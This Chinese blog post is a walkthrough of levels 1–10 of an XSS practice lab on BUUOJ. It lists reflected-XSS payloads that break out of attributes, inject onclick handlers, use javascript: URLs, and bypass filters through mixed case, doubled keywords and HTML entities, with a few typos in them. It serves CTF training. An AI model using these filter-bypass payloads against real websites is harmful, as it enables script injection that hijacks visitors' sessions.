xss lab(目前是1-10关)
靶机:https://buuoj.cn/challenges#XSS-Lab
第一关
playboard构造:直接在?name=<script>alert('1');</script>
输入?keyword=<script>alert('1');</script>&submit=搜索
查看源码:
注释掉后面的>,jsp中注释符为//,闭合前面的
构造playboad?keyword="><script>alert('1');</script> //&submit=搜索
输入测试:?keyword="><script>alert('1')</script> //&submit=搜索
发现源码
发现后台对<>进行了转义,所以弃用<>标签,而onclick按钮可用于html元素中,点击后可触发相关jsp代码
?keyword=' onclick='alert(1)&submit=搜索
闭合单引号 点击框就行
测试?keyword="><script>alert(1)</script>&submit=搜索
查看源码
发现过滤<>
尝试使用上关playload 发现单引号有些不对修改
playload:?keyword=" onclick="alert(1)&submit=搜索
测试:
发现源码变为:
可知其改变了script标签,但没有改变<>,测试onclick标签也有类似情况,所以上伪协议
playload:?keyword="><a href='javascript:alert(1)'>,&submit=搜索
测试时发现a、sciipt、oncick标签均过滤了,尝试用大小写绕过,成功
playload:?keyword="><Script>alert('1');</script> //&submit=搜索
测试后发现scipt与href被过滤,还有on,且大小写绕过无效,尝试双绕过发现可以
playload:?keyword="><scscriptript>alert(1)</scrscriptipt>&submit=搜索
查看源码后,发现这个是输入后构造到a标签中 那么用伪协议 发现JavaScript被转义为JavaScri_pt
转换为html编码实体,在线变换网站为https://www.qqxiuzi.cn/bianma/zifushiti.php
字符实体是用一个编号写入HTML代码中来代替一个字符,在使用浏览器访问网页时会将这个编号解析还原为字符以供阅读。
构造出的playload为:javascript:alert(1)
发现源码中显示:
当添加buuctf地址 https://buuoj.cn/challenges 发现依然显示不合法,那么这个a标签是通过一些特征码去查看,而非查询后返回
尝试用http://发现合法,而https://不合法,不合法无法正常构造
构造出的playload为:javascript:alert('http://')
发现源代码中存在三个hidden属性的值
尝试对三个属性传不同的参数,发现只有t_sort参数回显到html上,可以确定是他
构造playload:?keyword=<script>alert('xss')</script>&t_sort=" type="text" οnclick="alert(1)
本文作者:武阳
本文链接:https://www.cnblogs.com/WuYangPro/p/15961657.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步